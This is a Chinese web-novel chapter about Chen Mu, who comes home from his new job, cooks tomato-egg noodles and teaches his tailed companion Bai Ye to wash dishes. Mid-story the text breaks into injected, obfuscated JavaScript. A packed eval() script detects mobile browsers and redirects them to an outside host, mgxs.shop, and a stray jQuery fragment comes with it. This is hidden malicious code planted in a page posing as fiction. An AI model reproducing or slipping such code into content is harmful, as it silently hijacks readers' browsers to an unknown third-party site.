陈木来到工位上，放下包，把电脑从抽屉里取出来接上电源。
屏幕上跳出一个待办清单，列了今天要处理的几件事。
整理上周的会议记录、打印两份合同、下午三点给经理送一份报表。
他看了一遍，把清单最小化，端起杯子去茶水间接了杯水。
上午的时间过得很快。键盘敲击声从旁边的工位传过来，有人在打电话，声音压得很低，断断续续的。
走廊里有人推着推车经过，轮子在地砖上发出低沉的滚动声。
陈木把会议记录整理完，又检查了一遍合同页码，抬头看了一眼窗外。
阳光已经从东边移到了正上方，百叶窗的缝隙里透进来的光柱从斜的变成了直的。
午饭后的休息时间，办公室里安静了许多。旁边几个同事趴在桌上休息，有人戴着耳机看手机，有人靠在椅背上闭着眼。
陈木也靠在椅背上，掏出手机，解锁屏幕。他点开微信，通讯录往下滑了两下，停在一个备注上。
"妈"。
他点进去。聊天记录最新的几条还停留在暑假的时候——陈巧巧问他回不回家，他说不回。再往上翻，是更早的，陈巧巧让他注意身体、别老吃外卖。他滑了两下就停住了，退出来，点开对话框底部的输入框。
光标在空白处一闪一闪的。
陈木打了几个字，删掉，又打了一遍：【妈，以后不用给我每月转钱了，我找到工作了。】
他盯着那行字看了一会儿，然后点了发送。
五分钟之后，手机震了一下。
他翻开屏幕，看到陈巧巧的回复：【好的，找到工作就好。】
他把手机放进抽屉里，打开下午要用的那份报表。
下班的时候，窗外的天已经变成了傍晚那种灰蓝色。旁边的同事站起来伸了个懒腰，椅子发出一声闷响。
陈木收拾好东西，把电脑合上放进抽屉里，站起来把椅子推进桌下。同事看了他一眼："走了？"
"嗯，走了。"
两个人一起走出公司大门，在门口互相点了下头，各自走向不同的方向。
晚风迎面吹过来，带着白天残留的暑气和傍晚的凉意混合在一起。
陈木走了几步，拐进地铁站口。进站、刷卡、等车。地铁到站的时候门打开，里面的人不多，他找了个靠门的位置坐下。
列车启动的时候，他靠着车窗，看着隧道壁飞速地向后滑去。他的手指搭在膝盖上，轻轻敲了两下。和以前不一样了。
以前每次面试完坐地铁回家，心里都是空的——回到家推开门，是黑的，没有人，没有声音，只有冰箱在角落里嗡嗡响。那段时间他开门之前要在门口站两秒，先把"没有人"这件事提前消化掉，再拧钥匙。
但现在不一样了。
他想到这件事的时候，手指敲膝盖的动作停了一下，然后继续敲。
地铁到站，他下了车，出站的时候天色又暗了一些。
他没有直接往小区走，拐进了离小区不远的那个超市。
超市白色的灯光从玻璃门里透出来，照亮了门口的一小片台阶。
他推了一辆购物车，在蔬菜区停下来。西红柿挑了几个硬的，颜色红得均匀的。鸡蛋拿了一盒。挂面家里还有半把，但他想了想又拿了一袋新的。他又拿了一小把葱，一盒豆腐，两盒牛奶。
结账的时候收银员扫完最后一个条形码，屏幕上跳出一个总价，陈木扫了码付了钱，拎着袋子出了超市。
塑料袋提手勒在他的手指上，沉甸甸的。他换了一次手，把袋子从左手换到右手，又换回来。走到小区门口的时候，路灯已经全亮了，昏黄的光洒在地面上，把他的影子拉得很长。单元门口的声控灯亮了一路，他上了六楼，摸出钥匙，插进锁孔，拧了两圈。
门开了，客厅里的灯亮着。
陈木站在门口，看着那盏灯。暖黄色的光从天花板上的灯罩里散出来，铺满了整个客厅。
茶几上放着一杯水，他早上出门前倒的那杯牛奶已经被喝掉了，杯底有一层薄薄的白色痕迹，杯子被洗过了，放在茶几的一角，杯口朝上，杯壁上没有水珠——已经干了很久了。
柏夜坐在沙发上。他穿着陈木那件白色短袖和灰色短裤，盘着腿，膝盖上摊着一本书——是陈木放在床头的那本旧杂志，封面已经卷了边，里面夹着一张书签。
柏夜正在翻页，听到门响，他抬起头来。金色的眼睛在灯光下亮了一下，像被什么反光的东西碰了一下，又恢复成那种平稳的旧铜币色。
"回来了？"他说。
陈木站在门口，手里拎着那袋东西，换鞋的动作停了一下："嗯。"他脱了鞋，把购物袋提到厨房，放在料理台上。
"你吃饭了吗？"陈木朝客厅方向问了一声。
"没有。"柏夜的声音从客厅传过来，顿了顿，"你在的时候一起吃。"
陈木没有接话。他转过身，从料理台上取下那袋挂面，又取出三颗鸡蛋、两个西红柿。
他拧开水龙头洗了手，把西红柿放在案板上，一刀两半，切掉蒂，再切成块。刀刃落在案板上发出有节奏的笃笃声，在安静的厨房里格外清晰。
柏夜从沙发上站起来，走到厨房门口，靠着门框站着。他没有说话，就站在那儿看着陈木切西红柿。陈木侧过头看了他一眼："你站在那儿干什么？"
"看你做饭。"柏夜说。
"……有什么好看的？"
"不知道。"柏夜说，"就是看看。"
陈木没再说话了。他把西红柿块放进碗里，打了三颗鸡蛋进另一个碗，用筷子搅散，加了一小撮盐。
然后他开了火，平底锅烧热，倒了一层薄薄的油。油热起来的时候他把蛋液倒进去，锅底瞬间泛起一圈凝固的白边，他用锅铲推了两下，蛋液慢慢变成嫩黄色的块状。
他把炒好的鸡蛋盛出来，又往锅里倒了点油，把西红柿块倒进去翻炒，直到西红柿变软、渗出红色的汤汁。
然后把鸡蛋倒回去一起翻炒，加了一点盐和糖，最后撒了一把葱花。绿色的碎末在红色的汤汁里散开，像一小片一小片浮在水面的叶子。
旁边另一只锅里的水已经烧开了，陈木把挂面下进去，用筷子搅散。
白色的蒸汽升起来，模糊了厨房窗户的上半截。面煮好之后他用漏勺捞起来，放进两个碗里，然后浇上西红柿炒鸡蛋的汤汁，红色的汤汁浸透了面条的表面，鸡蛋块堆在面条上面，葱花撒在顶端。
陈木端着两碗面走到餐桌前，放下。柏夜已经从厨房门口坐到了餐桌对面，他把膝盖上那本旧杂志合上放到一边，两只手搭在桌沿上，低头看着面前那碗面。
"吃吧。"陈木说。
柏夜拿起筷子，夹了一筷子面条，吹了吹，送进嘴里。他嚼了两下，咽下去，然后看了一眼碗里的面条，又夹了一筷子，这次比刚才那口多一些。
陈木坐在对面，也低着头吃面，两个人隔着餐桌各吃各的。
灯光从头顶照下来，在两个人的碗沿上各画了一圈亮边。餐桌中间那盘西红柿炒鸡蛋已经没了，汤碗也空了，只剩下两个碗底残留着一层红色的汤汁。
窗户开着一条缝，晚风从纱窗里钻进来，带着夜晚特有的那种凉意，轻轻拂过桌沿。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735569|209045||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
陈木靠在椅背上，低头看着自己面前那个空碗。他的余光能看到柏夜的手还搭在桌沿，手指微微蜷着，像在等着什么。
"柏夜。"他开口。
柏夜抬起眼看他。
"你会洗碗吗？"
柏夜摇头。
陈木说："那你现在开始学吧。"
柏夜："为什么。"
陈木回答："因为……我负责赚钱你负责家务……可以吧？"
柏夜语气硬了一点点："不可以。"
"……"陈木换了一种语气，把声音放低了一些，像是自己也觉得这个要求有点强人所难，"没事没事我可以教你。"
柏夜没说话，但是尾巴从腿边垂下来，尾尖在地板上极其轻微地划了一下。
陈木站起来，开始收拾桌上的碗筷。他把两只空碗叠在一起，把两双筷子并排放到碗沿上，端着走向厨房。
他打开水龙头，试了一下水温，把碗放进水池里。水流冲在碗壁上，溅起一圈细碎的水花。
柏夜站起来，走到厨房门口，站住了。
陈木回头看了他一眼："过来。"
柏夜走过去，站在他旁边。陈木往旁边挪了半步，留出一个人站的位置。
他在水池里放了半池水，挤了几滴洗洁精，水面上浮起一层细密的泡沫。陈木拿起一只碗，浸在水里，用洗碗布沿着碗壁擦了一圈，白色的泡沫裹住了碗的表面，然后他打开水龙头冲干净。
"看清楚了？"他举着那只碗晾了晾——碗壁在灯光下透着一层润泽的光，像是突然变新了。他转了一圈让柏夜看清楚："就这样。先洗里面，再洗外面，冲干净就行。"
柏夜伸手从水池里拿起另一只碗。他的手指握住碗沿的时候，指尖刚好碰到水面，洗洁精的泡沫沾了他的手指。
他低下头看着那些白色的泡沫，停顿了一秒，然后学着陈木刚才的动作，把碗浸进水里，拿起洗碗布，沿着碗壁擦了一圈。动作比他慢，布在碗壁上的力道一会儿轻一会儿重，像是还不太确定该用多少力。
陈木站在旁边看着，没有说话。
柏夜擦完碗壁，又擦了一遍碗底，然后打开水龙头冲水，水流冲在碗上溅起的水花溅到他的手臂上。他微微侧了一下手肘，等水流彻底冲干净了碗上的泡沫，把碗放在沥水架上。
然后他拿起第二只碗。他把碗浸进水里，用洗碗布擦掉了汤汁，然后冲干净，放上沥水架。做完之后他关了水龙头，甩了甩手上的水，转头看了一眼陈木，尾巴在身后极其轻微地晃了一下："好了。"
陈木靠在料理台边上，看着他，嘴角动了一下，又压下去了。
"嗯，学会了。"
柏夜的耳朵微微朝陈木的方向偏了偏，但很快又转回去。
他伸手把沥水架上的碗转了一下，让碗沿朝同一个方向排列整齐，然后把手在毛巾上擦了擦。毛巾是陈木搭在门把手上的旧毛巾，吸水性不太好，柏夜擦了两遍指尖，把毛巾叠好，重新搭回门把手上。
"你那个——"陈木开口，又停了一下，"你明天想吃什么？"
柏夜站在厨房门口，转过身来看着他。
"……都行。"他说。
陈木站在厨房门口，看着他走向沙发，在沙发边缘坐下来，把腿盘上去，重新拿起那本旧杂志，翻开夹着书签的那一页。他的尾巴从腿边垂下来，搭在沙发垫上，尾尖极其轻微地弯了一下。
陈木转身走进厨房，关了灯。客厅的灯光从门框的方向照进厨房，在地砖上铺了一小片暖黄色的光。
他站在暗处，又站了一会儿，才转身走出去。